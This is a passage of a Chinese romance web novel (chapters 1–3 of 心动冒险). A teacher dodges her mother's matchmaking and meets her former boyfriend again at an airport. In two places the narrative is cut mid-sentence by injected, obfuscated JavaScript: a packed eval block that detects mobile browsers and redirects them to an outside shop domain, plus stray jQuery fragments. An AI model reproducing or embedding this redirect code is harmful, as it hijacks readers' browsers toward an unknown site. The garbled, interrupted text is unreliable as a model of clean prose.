《心动冒险[破镜重圆]》 1. 小火星 《心动冒险》/池汀 2023.9.19 五一假前,气温陡然走高。 花汀市一夜入夏,和时节不符的燥热,搅得人心浮气躁。 上午八点钟,汀大附小二年级教学组办公室,气氛紧绷而严肃。 昨天半夜,有学生家长在班级群内公然点名,声讨新人女教师不知廉耻,勾引她老公。 年级主任田觅心一早过来处理此事。办公室房门紧闭,她立在门内,拿目光逡巡一圈,并未直接开口。 主任不发话,其他人自然不会主动往枪口上撞。 工位上的女老师们各个眼观鼻鼻观心,努力降低存在感。 能看出,大家或多或少受了群内消息影响,无论是妆容还是穿着,都尽可能往“教导主任”风格靠拢。 朴素低调,淡化性别特征。 除了坐在角落乖乖翻出线圈本,举笔等待记录田主任指示的教师队伍新人——戚柠。 她早上去了趟封姥姥家,没顾上看手机,对发生了什么,以及即将要发生什么一无所知。 和周围整齐划一灰扑扑的职业装形成对比。 戚柠上身穿了件豆绿色条纹套头针织衫,下面是米色棉麻及踝长裙。 很低调的职场穿搭,并不出格。 不低调的是她那张脸。 鼻骨薄翘,卧蚕饱满,如同玻璃糖果一样的女孩子,清纯不甜腻,美得生动自然。像是燥热天气里一杯加了冰块的柠檬水,沁人心脾,让人的眼睛倍感舒适。 比她这张脸还要抢眼的,是她办公桌脚下,拥挤到塞都塞不下的鲜花和巧克力。 戚柠见主任视线扫视过来,脸一红,忙尴尬地将露出头的花束向内拢了拢,藏进桌底下。继而又心虚地偷瞄主任一眼,见她目光移走,轻呼一口气。 “小郝,跟我出来一下。” 一阵眼神逼压后,就在众人被田觅心的犀利目光,盯得头皮发麻、如坐针毡之际。 她忽然重拿轻放,态度不显地将群内被点名的绯闻女主角喊了出去。 随着高跟鞋声远去,办公室门重新掩上,屋内气氛无形松弛下来。 大家交换了下眼神,刻意避开什么话题似的,各自忙碌起来。 未显孕肚的曹老师扶腰起身接水,职场老油子杜慷翘腿点开了游戏直播,二次元少女于津津继续吞咽没吃完的麦当劳早餐,认真负责的吴为埋头整理教案。 身为众人中的异类,戚柠颇有些无所事事。 她将水笔和线圈本归位,弯腰把桌底下的鲜花清理出来。 刚清到一半,杜慷滑着转椅飘过来,脖子前伸:“嚯,这么大捧,得有999朵吧?这巧克力牌子我在进口超市见过,一小盒就要好几百……” 他边品评边从戚柠手里“接”。 旁边的于津津眼疾手快,一巴掌打落他不老实的手:“知道贵还好意思拿?” “我这不是看小戚桌上放不下,主动帮她分担点。” “我桌上还有一堆工作总结没写呢,您要不也帮我分担点?” “小女孩家的,多向戚老师学学,性格软和点多好。” “堂堂大男人,能不能别逮着小便宜就想占。” 两人你一言我一语互怼起来。 眼见就要吵得不可开交,戚柠赶紧劝架。 “今天好热,我点了些饮料,津津你陪我去校门口取一下?”她求饶地扯了扯于津津的袖子。 又面向杜慷:“麻烦杜哥把花和巧克力给大家分一分,剩下的辛苦你处理掉,谢啦。” 杜慷得意剜于津津一眼,扭头冲戚柠笑得脸上横肉乱飞,特狗腿:“为美女效劳,乐意之至。” - 戚柠和于津津从旋转楼梯下来。 外头日光灼人眼,不远处草坪上有老师带着小朋友在做游戏,教学楼里隐约荡来稚嫩的读书声。 两人不紧不慢往校门口方向走。 于津津对戚柠怒其不争:“你也忒好说话了点。老杜那人,雁过拔毛兽走留皮,贼得很,值班室的报纸都能顺回家当废纸卖……这俩月,不知道从你那儿捞了多少好东西!” 此言不虚。 美女常规待遇,戚柠桌上的礼物几乎没断过,通通被大家瓜分。 加上她人又大方,撒钱绝不手软,动不动被老杜起哄请客,也从没说过半个“不”字,脑门上简直镶了大写的“人傻钱多”四个字。 老杜可不就巴着她占便宜吗。 戚柠只是抿唇笑:“好啦,我下次一定记得拒绝他。” 敷衍。 于津津撇嘴。 又见她笑容清甜可人,眼底没有半分忍气吞声的窝囊,忽然间泄了气: “也是,对你这种小公主来说,钱可能是最不重要的东西,能用钱解决的,都不叫问题。” 说着,于津津仇富心态发作:“采访一下,戚柠小公主,请问你的人生还有什么烦恼吗?” 戚柠乐于配合:“唔,我想想,最烦恼的可能就是——” “没有烦恼。” 于津津假意动手打她,两人笑作一团。 未到校门口,远远见路边停了辆酷炫的保时捷。 车窗半降,车的主人坐在驾驶座上低头划拉手机,另只手半挂在车窗外,指间续了一截烟灰。 于津津一眼认出车牌号,瞠目咋舌:“不是吧,一大早就来堵?” 闻言,戚柠及时顿住脚步,脸色难得有些恼火。 门口这位,就是送玫瑰和巧克力的当事人。 戚柠大姨牵线介绍的相亲对象。 于津津不懂有钱人是不是都这做派。 刚出校园,立马流水线赶趟似的相亲、联姻,比起社畜们直奔35岁的初婚年龄,这群人传统得仿佛生活在上个世纪。 这阵儿,戚柠见过的相亲对象没有十个也有八个,每个刚开始都是热情如火,上赶着讨好美女,但过不了多久,也都不了了之。 保时捷是最执着最有毅力的。长相也尚可,从不吝啬付出时间和金钱,主动得不得了。 每次约戚柠出门,五次里她偶尔能答应一次。 于津津差点要以为保时捷上位指日可待,但现在看戚柠这态度,只怕还差得远。 说起来,她一直觉得戚柠乖到几近没主见,身上没半分大小姐脾气,柔软可欺,总是忍不住担心她被渣男骗。 可眼下,她脑内忽然又冒出个念头。 戚柠其实很难讨好。 这些一个赛一个优秀的相亲对象,根本没有一个是她喜欢的。 要么是她压根不想结婚,面上乖巧地得过且过应付着;要么是她眼光太高,口味早就被养刁了。 也或者两者皆有。 于津津偏头:“我去把他赶走?” 戚柠沉默几秒,摇摇头,“先取饮料吧。” 于津津:“那你在这等着,我过去拿。” 戚柠没再拒绝她的好意。 - 保时捷确实有毅力,车在校门口从早上傲然屹立到了放学,中午戚柠已经婉拒过一次他的约饭,居然还没走。 这感天动地的执着都传到了戚岚那里,特意打来电话询问情况。 戚柠接通亲妈电话,细声模糊地边喝水边答话,可能心神不在状态,不小心水入气管,猛烈呛咳起来。 电话那头,戚岚察觉动静,立刻紧张起来: “怎么回事?你包左侧口袋有雾化器和药,先吸入缓解下,妈妈现在过去。周围有同事吗,让他们帮忙照顾你一下……宝贝把电话给同事,妈妈来跟她说……算了,我给你们校长打个电话。” 听闻戚岚小题大做的惊慌做派,戚柠有一瞬的心虚和愧疚,忙解释:“妈妈我没事,真的没事。” 她撒了个小小的谎,“可能是花粉有点过敏。” “花粉?” “嗯,那个韩……送来好大一束玫瑰花……” 音筒内有一小段空白,说不清戚岚识没识破这拙劣的谎言。 女人声线轻柔:“宝贝对他不满意吗?” “也没有,”戚柠低头,手指无意识在桌面画圈,“就是他天天守在校门口,有点烦。” 良久,戚岚道:“好,你安心上班,妈妈来处理。” “谢谢妈妈。” “晚上让阮姨给你煮点润肺的甜水,喝完拍照发我。” “今晚想回家住,想吃你做的冬瓜汤了,妈妈你来接我下班好不好?” 戚岚态度终于松软下来,一副拿她没辙的语气,“怎么还跟个小孩似的,一嘴馋就缠着人撒娇。” - 戚岚许久没下厨,刀工却不见半点生疏,唰唰几下把冬瓜切块垒进盘中。 排骨在沸水里滚着,她用勺子撇去浮沫。 见戚柠在旁边跃跃欲试要洗番茄,忙塞过去一碟切好的雪梨块,派她去拿平板搜菜谱。 颇有种大人动手包饺子,怕小孩捣乱,随便扯块面团哄她边上玩去的糊弄劲儿。 冬瓜排骨汤,清蒸鲈鱼,番茄鸡蛋,炒时蔬。 这四个菜,哪个也没难到需要上网搜菜谱的程度。 想归这么想,戚柠还是听话把平板取了过来。 回到厨房门口,她点亮屏幕,正要打开浏览器搜索,却在低眼看去的同时。 目光猛然顿住。 唇角弧度凝固,睫毛也忘了眨动。 戚柠呆了几秒,手忙脚乱熄灭屏幕。沉甸甸的平板仿佛亟待销毁的赃物,被倒扣藏在身后。 心跳如鼓。 她罚站似的站在门口,余光下意识搜寻戚岚的身影。 女人正弯腰在水槽前处理鲈鱼,半点没察觉门口动静。 慌乱的心跳渐渐平息,片刻后,戚柠忍不住将平板移回眼前。 犹豫了又犹豫,终于揿亮。 她眼睛定定落在屏幕上,眸底震惊和错愕交织,夹杂着几分不知所措。 似想要再次关掉屏幕,却始终下不去手,也再没能挪开目光。 页面停留在相册,应该是戚岚才翻阅过,没关掉。 被人为点开放大铺了满屏的图像,是个二十出头男性。 第一眼熟悉,第二眼陌生。 戚柠难以形容当下的感觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670588|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同神识出走,产生幻觉。怀疑中掺着笃定,迷茫下又有几分惶惶。 她整个人是木的,大脑一片空白,呼吸也停了。 照片中的人是封砚。 十八岁之后的,她从未见过的,眉眼褪去青涩日渐成熟的封砚。 看起来像是在国外参加什么活动,他上台讲话时拍摄的。 镜头下的男人肩宽腿长,身上成套定制手工西装,看起来很贵很有型。领带被拉扯得半松开,他两手撑在主席台上,站姿懒散又正经。 举手投足间有种让人仰望的、毫不费力的松弛感,仿佛什么都唾手可得。 这股散漫不羁的拽劲儿,是她熟悉的。 但那张被同学们戏称为“夺命脸”的皮相,却有些眼生。 其实五官和轮廓都没什么变化,可组合在一块,硬生生跟记忆里的鲜活少年,撕裂区分开来。 提醒着她,他们是不同的人了。 “怎么一副活见鬼的表情?”不知什么时候,戚岚摘掉围裙走了过来,摸她额头,“生病了?” 戚柠茫然恍惚,任亲妈驱寒问暖,唇角翕动两下,喉咙却发不出声音。 可不就是见鬼了吗。 封砚他……怎么会出现在妈妈的平板里? 她脑子乱乱的, 难道…… 戚柠后知后觉心弦一紧,匆忙抬眼,打量戚岚的神色。 女人恍若未觉,不着痕迹扫她一眼,突然提起白天:“韩树这小仔率直莽撞了点,但本性不坏,听说那捧玫瑰惹了祸,赶紧低头认错,又是急着要带你去医院,又是讪讪连声保证以后不会再贸然去学校找你,还恳求我能不能让你再给他个机会……” 戚柠刚听开头两个字就跑神了。 脑子回到那张照片上。这些年,他看起来过得似乎还不错,真好。 守着她这副神游天外的模样,戚岚面色佯怒,点了点她的脑袋: “好了,别发呆装傻了,妈妈已经替你回绝他了。韩树哪哪都好,可谁让我们柠宝不喜欢。网上你们年轻人有句话怎么说来着,‘这一个拜拜,下一个更乖’,没准下一个我们柠宝就满意了呢。” 这话尾音似意有所指,戚柠几乎是下意识垂眼看向手中平板。 屏幕上的封砚意气风发。记得韩树那些人的照片,也是像这样被装在这只平板里,由戚岚介绍给她,安排见面。 戚柠不敢相信地抬起头。 戚岚却像是刚留意到平板上的照片,从她手中抽走,纳罕道:“看到了什么,这么惊讶盯着妈妈?” 对着屏幕端详几秒,不等戚柠说话,她接着道: “噢,这是江家的小儿子,你前两天刚看过的财经新闻上,那个‘商界颜巅贵公子’江妄屿的亲弟弟。” “兄弟俩一个随父姓一个随母姓。你爸说这对双胞胎长得完全不一样我还不信,照片发过来一对比,真是没一点相似的。” 这算是变相解释她为什么会有这张照片。 戚柠听出来了,却又觉得哪里不对,愣了几秒反应过来,戚岚前半句说的是上周末两人一起看过的晚间财经新闻。 不过,这别有深意的语气和前缀形容词,并不像是随口一提。 戚柠忽然有不好的预感。 果然。 戚岚话锋一转:“我中午跟你爸吃饭时讨论了下,觉得江妄屿这孩子不错,可以接触接触,等周末……” 戚柠面色僵住。可能是话题转得太快,她表情没控制好,罕见露出了极为浓烈的抗拒和排斥,仔细观察,还有一丝脆弱的恳求。 一向对女儿“千依百顺”的戚岚偏偏视而不见,皱眉不经意又问: “对了,你还没告诉妈妈,看到江妄屿弟弟,为什么这么惊讶?” “没什么,就是觉得……有些眼熟。”戚柠低头看向脚尖。 无人知晓的地方,心底那一点刚闪起的小火星暗自浇熄。 戚岚不疑她,闻言好笑地说:“你俩高中同过班,当时他还是你副课代表,这才几年,就把人给忘了?” “……没有。” “还没有,”戚岚口气稀松平常,揭穿她的没良心,“叫封砚是吧,好歹也同班一年多,怎么毕业后连个好友都没加?” 戚柠一怔。 戚岚会这么说,显然是翻看过她的社交软件。 不知道是最近还是之前。 她手机从不设密码,在家也没对戚岚设过防。 大概率是上大学前,“地下恋”被戚岚察觉出端倪的那段时间。 近几年,她一直都还算“尊重”她的隐私。 何况,戚岚记忆力一向好。 戚柠慢吞吞说:“想着以后不联系了,就没有加高中同学们。” 短短二十个字,耗尽她所有力气。 她说的是高中同学们。 高考结束,大家纷纷从企鹅转战微信。戚柠手机号一直没有变,收到了很多好友邀请。 但她一个高中同学的联系方式也没有加。 不是忘记了,是没想过加。 戚岚认同点头:“也是,确实没什么必要。” 2. 应战书 本来挺开心的一顿饭,莫名其妙,到了饭桌上竟有些沉闷。 戚柠频频不在状态,垂头数着米粒,到最后也没吃几口。 饭后,她借口躲掉温馨的母女谈心栏目,回了自己房间。 门没有反锁,不过戚岚也不会随意进来。 这是她们的默契。 这间卧室是戚柠的安全屋,完完全全属于她的私人领地。 戚岚有分寸,也自诩对孩子足够体谅大度,从不轻易越界。 唤醒落地灯,戚柠坐到书桌前,发了会儿呆,想不到该做点什么。 平时她只有周末过来这边住,已经很久没有将自己一个人关在门内了。 桌子左侧摆着件半成品乐高,梵高的星空图,两千多个颗粒,她断断续续拼了近一年,还剩几百个没拼完。 戚柠眨眨眼,将乐高挪过来,聚精会神,花费一个半小时,终于拼成。 却似乎并没有什么成就感。 过了会儿,戚岚敲门送来睡前助眠的热牛奶,戚柠接过,站在门口,当着她的面一口气喝完。 母女两人温情地互道了晚安。 回到书桌前,可能是刚才无意间碰到开机键,电脑屏幕竟亮了起来。 显示屏中央是企鹅的登录界面,开机系统自发启动。 通常情况下,戚柠都是直接叉掉,但今天,鬼使神差地,她输入账号登了进去。 很快页面弹出一大堆资讯推送。太久没上来,她差点找不到删除键,手忙脚乱操作着鼠标。 删到一半,视野内突然闯入一个熟悉的头像。 一跳一跳在动,旁边跟着鲜红的数字1。 戚柠吓得神经瞬间紧绷,以为是自己不小心乱点到什么发了过去,引起对方的疑惑。 停了十几秒,她鼓起勇气,小心翼翼把光标移过去。 高悬的心脏重重下砸,戚柠眼皮抬了抬,终于慢一拍地注意到,头像是灰的。 不在线。 也是,这些年企鹅几乎彻底被微信取代。身边朋友换新手机后,基本没人会再下载企鹅,就连她也有几个月没打开过了。 封砚出国那么多年,怎么可能还在玩企鹅。 估计账号早就废弃了吧。 胡思乱想着,戚柠咬着下唇,迟疑地左击鼠标点了进去。 在会话框弹开的那一刻,她甚至没来由下意识屏住了呼吸。 【在吗老婆,江湖救急,发我520充值Q币,等下还你】 很眼熟的盗号团队诈骗套路。 再看时间,一个月前。 看来他确实弃用了这个号。 说不清意识到这点后,心底是庆幸还是失落更多。 戚柠盯着这行诈骗文字持续出神,直到屏幕陷入黑暗,才猛地惊醒。 晃了晃鼠标,她深呼吸一口气,叉掉聊天框。 却在前一秒,猝不及防看见了昵称右侧的醒目提示—— 戚柠&封砚结婚倒计时:13天。 是封砚写的小程序插件。 蛰伏在记忆深处的声音就这么不打招呼汹涌袭来。 “24岁挺特殊,距离18岁和30岁一样远,我看顶适合用来结婚。” “年龄我定,日期你选,怎么样?” “立夏这天不错,宜嫁娶,天气也不冷不热……你不说话我就当你同意了啊……” 泪珠毫无征兆滚落。 戚柠大脑钝钝的,喉咙发堵。她努力平复情绪,但似乎失败了。 许久,等心绪彻底平息下来,她去卫生间洗脸。 起身的刹那,透过朦胧的雾眼,她惊悚地发现,自己不知道什么时候,给封砚发去了一条消息。 【我毕业了,你说结婚,还作数吗?】 时间显示是5分钟前,无法撤回。 惊慌了一瞬,戚柠想起来,这个号他好像已经不用了。 苦涩在舌根发酵,她愣怔数秒,没事人一样,正常地洗漱、护肤、上床睡觉。 睡前情绪大起大落,戚柠入眠后睡得也不太安稳,做起乱七八糟的梦。 一整夜睡睡醒醒,侧躺的枕巾不知不觉濡湿一大块,到后来,唇角又不自觉翘起来。 万幸是个让人破涕为笑的好梦。 - 早上七点,生物钟准时把她从梦境中叫醒。 戚柠起床刷牙,路过书桌,看见主机灯光闪烁,忽想起自己昨晚没关电脑。 她顺手关机,电脑待机一夜有些卡顿,屏幕苏醒后,右下角企鹅图标不停跳动。 刚起床大脑还有些混沌,等她反应过来,页面已经切了进去。 这次没给她心理准备的时间。 内容猝然跃入眼帘。 聊天框内显示,对方发来一个坐标定位。 ——花汀机场。 三分钟前,几乎卡着她的起床生物钟。 戚柠神情呆滞,直接原地僵立。 这是新型诈骗手段。 还是。 封砚他……回国了? 画面定格。 戚柠如同木头人一样静止不动,和聊天框面面相觑。 半晌,她迟缓地眨了下眼,又眨了下眼。消息还在,不是幻觉。 所以……这到底是什么情况? 盗号团队诈尸了? 戚柠滑动鼠标向上,除了那条被盗号的诈骗文字,对面上一次发来消息还是六年前。 所以,真的是诈尸了吧。 好敬业。 不过,孤零零发来一个定位是什么意思?没头没尾,也没配个文字说明。 难道是诈骗链接? 如此猜测着,戚柠慎重地收回了定位图标上即将落下的箭头。 谨慎为上。 因为前男友被盗号什么的,摊上电信诈骗案,貌似……还挺丢人的。 戚柠决定静观其变。 没有让她等太久,很快,聊天框左上角显示备注的位置出现了一行小字: 对方正在输入。 戚柠没想到电脑版企鹅居然还有这等时髦功能,上身不着痕迹后撤,贴在椅背上,找回几分镇定。 她杏眼圆睁,眼珠一动不动盯着屏幕。 生恐错过什么重要消息,又唯恐页面弹出更匪夷所思的内容。 左手不知不觉抓紧了桌板,以防自己临阵脱逃。 可惜,两种情况都没出现。 约莫十几秒后,双目睽睽之下,那行小字居然又消失了,聊天界面重归静寂。风过了无痕,对话框内没多出半条消息。 “……” 戚柠很有耐心地等了足足一分钟,对面再无动静。 大清早的,怎么还…… 有点灵异。 戚柠长得挺胆小的,但胆子确实不小。 不然也干不出在戚岚眼皮子底下,跟封砚谈了一整月地下恋的惊人壮举。 此时此刻,大概、也许是被刚刚好地勾起了那么点好奇心,又或者是其他什么旁的原因。 总之,在一股莫名 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不得不说,这招还是奏效的,对面终于舍得用汉字跟她交流:【嗤】 不用联系上下文,这个“嗤”字除了不屑挑衅,不可能有第二种意思。 突然被这么冷嘲热讽,戚柠挺不开心,也有些生气,觉得对面一定是恼羞成怒。不乐意再跟它浪费时间。 但另一方面,在这一来一回的试探中,她又无端触摸到几分熟悉感。隐约模糊,难以形容,让她有些不舍得结束。 戚柠清楚,大概率是因为对面顶着封砚头像,带给她的错觉。 她不想再纠缠了,或者说,害怕沉湎。 可对方不给她逃避的机会,在对话框被关掉前,干脆丢来两个字:【学我?】 学……谁学它? 她这明明是以恶制恶。 显而易见,对面确实有点手段,激将和找茬的分寸拿捏得刚刚好。 戚柠气鼓鼓在键盘上按了几下,想要说些什么扳回一局。敲了一半,又忽觉这行为很幼稚很小学鸡。 也是,她跟一个陌生人较什么劲。 戚柠心不甘情不愿将“应战书”一字一句删除干净,退出输入框。 其实,她这已经等同于妥协认输的意思,不跟它一般见识。 可对面仿佛一点不懂成年人社交的潜台词,偏要不依不饶乘胜追击:【您这是考验我的读心术?】 “……”戚柠没顾上细品话下含义,只顾着纠结,这微讽调侃的语气似乎跟头像太过契合,简直本人附体。 但她也的确很久都没跟封砚聊过天,不太信任自己的记忆。 戚柠想求证心中猜测,却缺乏勇气,徘徊犹豫便体现在了输入法上。 直到会话框左上角那行“对方正在输入”出现又消失,反复几次,也没有任何消息传过来。 她手一顿,终于慢一拍领悟了对面的意思。 它在故意模仿她…… 嗤嗤, 幼稚。 为了防止它用“又学我”三个字给她扣帽子,戚柠决定先发制人:【你学我干什么?】 对面送了她一串省略号:【……】 接着,它像是放弃游击战,紧跟着传来条语音。不长,九秒。 戚柠犹豫再三,右键语音转文字:【下雨,打不着车,方便来机场接我一趟么?】 3. 老同学 这熟稔的语气,接近求援的内容,绝对不可能是盗号团队会说出的话。 戚柠几乎下意识脑补出封砚站在她面前,轻扯唇角,居高临下半耷拉着眼皮,淡淡睨过来,拖腔带调的散漫音色。 所以……是他吗? 踌躇间,屏幕又弹出个语音条,稍微短一点,只有五秒。 转成文字:【方不方便给回个话,手机马上】 马上什么? 戚柠尝试转录了两遍,确定后面没跟任何内容,又特意多等了会儿,没等到半个补充说明。 难道是,手机,没电关机了? 联系一下前半句,确实有这种可能。 电脑音响之前被拆掉不知道丢去哪儿了,没法播放音频。 戚柠快步从床头把手机拿过来,点进软件商店,下载企鹅,并在登录时选择历史消息记录全部一键导入。 导入时间有点久,要十几分钟,等待的功夫,她小步踱到窗边,一把拉开窗帘。 外面真的下雨了。 雨珠竞相亲吻地面,炸开水花,音调清脆高昂,丝丝缕缕的潮湿气息顺着窗纱漫进来,清透舒爽,是大自然滋润万物的气息。 以前怎么没有发现雨中的早晨,空气竟然这么清新…… 戚柠张开双臂,深呼吸几口气,重新看一眼手机屏幕,还剩九分钟。 勉勉强强够洗脸刷个牙。 一切收拾妥当,她换了件立领侧边系蝴蝶结的鹅黄连衣裙,清新淡雅又不失窈窕,拿上手机出门,脚步轻快。 边下楼边将音筒口对准耳朵,播放那两个语音条,辨认音色。 其实她已经听过好几遍了,99.99%确认是封砚的声音。 但就是想再多听几遍,消除那0.01%的不确定。 来到拐角的时候,保姆陈姨刚巧上楼,着急忙慌的,也没看路,两人差点正面撞上。 还好戚柠及时往旁边躲了下,只被撞到了肩膀。 她见陈姨脸色不对,忙关心:“您没事吧?对不起,是我没看清路。” 陈姨强撑着笑跟她打招呼:“去上班?我们柠柠今天真漂亮。” 戚柠看出她不在状态,正要多问几句,被闻声赶来的戚岚打断,嗔她:“怎么冒冒失失的,走路还玩儿手机。” 说着,又把她拉到一旁,问:“疼吗,刚撞到哪儿了?” 问的是她,语气也温柔,但戚柠余光还是看见了陈姨立刻局促地搓紧了手,神色不安。 戚柠冲她安抚性眨眨眼,挽着戚岚的胳膊下楼: “跟陈姨没关系,是我不小心,我保证下次一定乖乖走路。” 戚岚没应声,戚柠继续讨好地晃她的胳膊,“妈妈,妈妈妈妈,妈妈妈妈妈妈……” “喊魂呢?”戚岚被逗笑,“好了,又不是什么大事,你也没受伤,我还能辞了她不成?” 戚柠撅撅嘴,虽然没说话,但表情里的意思很明显:您之前不都这么干的吗? 母女两个亲密归亲密,这么直白的揶揄却是少见,戚岚目光落在她脸上,笑问,“今天这么开心?” 戚柠立刻心虚地摸了摸脸,含糊其辞:“有吗?可能是快要放假了吧?” 转移话题:“对了,陈姨这是怎么了?我看她表情好像不太对。” “还不是因为她初恋回来了,”戚岚不想多说,又忍不住奚嘲,“奔五的人了,还这么天真,没被骗财骗色算是万幸。” 如果是平时,戚柠大概率会追问到底是怎么回事,但“初恋回来了”几个字扎进耳朵,又让她本能想要逃离这个话题,撇清关系,避免对号入座。 “好饿,早上做的什么?”她朝餐桌方向走。 “南瓜烤蛋,茭白炒肉,白果川贝粥。” 戚柠脚步一顿,回头:“你做的?” “不是你说的,想尝我的手艺了吗?” “谢谢妈妈。” 戚柠很给面子地吃撑了,当然,也是她有话想跟戚岚说。 放下筷子,一双杏眼巴巴看向对面:“待会儿我有事要去趟机场,能让高叔送我吗?” 戚岚也搁下勺子,定定看她一会儿,答应下来,“好,那妈妈今天就不载你了,雨天空气细菌多,路上别贪凉开窗。” 戚岚没问去机场干什么,因为戚柠抢先表明:“唔……我今天想开小粉。” 小粉是戚岚送她的二十岁生日礼物,定制款宾利欧陆,送时承诺过,跟楼上卧室一样,小粉也是她的私人所有。 也就是说,这车的行踪属于戚柠的隐私,戚岚不能打探和干涉。 - 早高峰路上拥堵,车辆摩肩接踵,下着雨,路况也不太好,去机场十几分钟的路程,走了半个小时才到。 花汀机场有两座航站楼,相距两千米,中间用一座连廊连接在一起。 根据封砚发来的定位,他现在在T2航站楼。 戚柠记得T2来往航班以亚洲地区为主,如果封砚从美国回来,应该在T1才对。 但定位总不会出错,或许是他有别的行程。 让高叔在地下车库停了车,戚柠搭电梯前往接机口。 早上落地航班多,机场人挤人,高叔不放心她一个人上去,跟着一起上了楼。 T2航站楼外观设计独特,内部构造绘图也大胆采用中国风,兼具现代和古典美。刚建成后在网上小火一把,炒出了名气,算是花汀的地标性建筑。 戚柠这些年基本没出过市,也很少坐飞机,但每次来,都能被设计师的超前眼光惊艳到。 说起来,她来往这里最频繁的,还是跟封砚在一起的那段时间。 封砚这个人,像天上耀眼的炽金乌,活得热烈肆意,十分潇洒,一放假就爱打的满世界乱飞。 去旅游、去滑雪、去看野生动物,随心所欲,想去哪了抬腿就走,从不自我设限。 花汀城区不算大,高三暑假,两人在一起后,戚柠怕被戚岚撞见,总不愿意出门。 封砚不知是猜出她的心思,还是天性使然,常常拐带她去周边城市。 也不在外过夜,大多都是早上出发晚上就回。 有时去巷尾不起眼的小店觅食,有时仅仅去老式唱片店听一下午的CD,没有计划,来去自由,高雅低俗全凭心性做主。 当时不觉,现在想来倒真有些怀念。多么惬意悠闲又蓬勃灿烂的时光。 鲜活生动。 一去不复返。 “柠小姐,咱们是去A区还是C区?”一波人流涌过来,高叔把戚柠护在身后,出声询问。 A区是国际抵达口,C区是国内抵达口,戚柠也不太确定,出了电梯,抬头先就近看向A区。 无需费力,一眼在人群中锁定目标对象。 男人半靠在旁边的雕花栏杆上,侧对电梯口,单手端了只笔电,另只手时不时敲下键盘,姿态闲适随意,半点不见临时机场办公的狼狈。 肩背微垮,颈后露出一截冷白皮肤,黑色碎发耷拉下来,看不清面容。 但他的身形实在太优越。高挑颀长,九头身,体态上佳,随便往那儿一站,便是人群的焦点。 尤其身上那股抓人的恣肆劲儿,轻而易举将他和周围行色匆匆的旅客区别开,也让戚柠一眼认了出来。 几乎视线刚移过去,封砚便察觉到她的存在,抬头看了过来。 目光淡淡,并不热络。 让她心口莫名一紧,忘了反应。 封砚收了笔电,视线仍放在她身上,没有挪开,两人就这么隔了不远不近的距离对视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670590|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 短短十几秒,戚柠像是想了很多,又像是什么都没想。 来的路上,她对这次重逢有欣喜期待、有激动紧张,也有尴尬惆怅。 当时年纪小,分手的方式太……极端和难堪,导致这些年她偶尔回忆起来,总觉得十分惭愧,不好意思再见他。 但现在,当人真的站在面前,那些复杂情绪根本来不及酝酿,整个人都仿佛放空了,所有感官连同时间一起慢下来,迟缓,无限滞后。 戚柠目光逗留时间太长,引起高叔注意,也跟着好奇地瞅了过去。 直接对上那个最显眼的。 暮春季节,年轻男人穿着花衬衫、沙滩裤,头顶渔夫帽,脚踩人字拖,一副在海滩度假的休闲做派。脚边没拖行李箱,偏手上拎了只商务公文包,显得不伦不类。 人倒长得挺帅气,英挺俊朗,不像正经旅客,更像是来摆拍机场穿搭博关注的男明星。 刚开始,高叔以为戚柠也跟自己一样,被这人的奇特装扮吸引了目光,但渐渐,又品出丝不同寻常,两人未免也对视太久了点。 高叔摸不透这俩的关系。 说认识吧,见着面了也没打招呼,不认识吧,又互相盯了老半天。 瞧着像是认识,但不熟。 光这么傻站着也不是回事儿。 高叔注意到几个扛着长枪短炮的女孩,已经悄悄将镜头移了过来。 俊男靓女,颜值般配,气场又难得如此登对,确实养眼,值得一拍。 高叔跟着在心里点评一句,又冷不丁想起出门前,戚岚留给他那饱含深意的一眼,心里打了个激灵,忙不着痕迹套话。 “柠小姐,这位是?” 戚柠回过神,听清了高叔的话,却不知道该如何定义跟封砚的关系。 最后轻声答:“以前的同学。” 说着,低头看向脚尖,又下意识抬眼皮瞥了封砚一眼,刚巧捕捉到他脸上一闪而过的微表情。 实际上,戚柠也搞不明白,明明近六年没见了,连他的脸她都觉得陌生,却还是一瞬读懂了这表情的含义。 嘲谑她和以前一样,不会撒谎,一心虚就低头。 戚柠立刻红了脸,咬咬唇,又不知该怎么解释。只能拿眼睛一瞬不瞬望着他,也不说话,显得有点可怜的样子。 她这动作完全是无意识的。 以前,每当她讨饶露出这副神态,封砚就总拿她没办法。 不过眼下,封砚目光清凉寡淡,无动于衷,眼底没有半分以前那种宠溺又无奈的神色。 于是,戚柠又不得不记起来,分手时,他的控诉里似乎有那么一条,是对她隐瞒两人恋情的不满。 所以, 她用“同学”来介绍他。 他生气了吗? 戚柠不知所措起来,想说点什么,谁料,就在这时,后背遽然被某个毛躁的出站旅客撞了一下,整个人不受控向前扑去。 高叔被旅客挤到另一侧,护她不及,眼见戚柠就要摔倒在地,对面悠哉旁观的封砚终于大发慈悲,抄手捞住了她。 戚柠情绪还沉浸在内疚中,猝不及防跌进他怀里,汹涌的愧意随之倾泻而出。 她张了张口,道歉:“对不起。” “理解,”封砚单手虚揽着她的腰,上半身向后仰了仰,垂眼瞧她,“不就是老同学好久不见,回首过往,情难自抑么?” 戚柠下意识点头,又隐隐觉得不对,他这话仿佛格外意味深长。 只听封砚不紧不慢接着道: “不过,老同学。” 他在后三个字上加重语气,挑眉,“我这刚回国,想叙旧有的是时间。” 表情要笑不笑地,示意她向下看: “倒也不必这么着急投怀送抱。” 4. 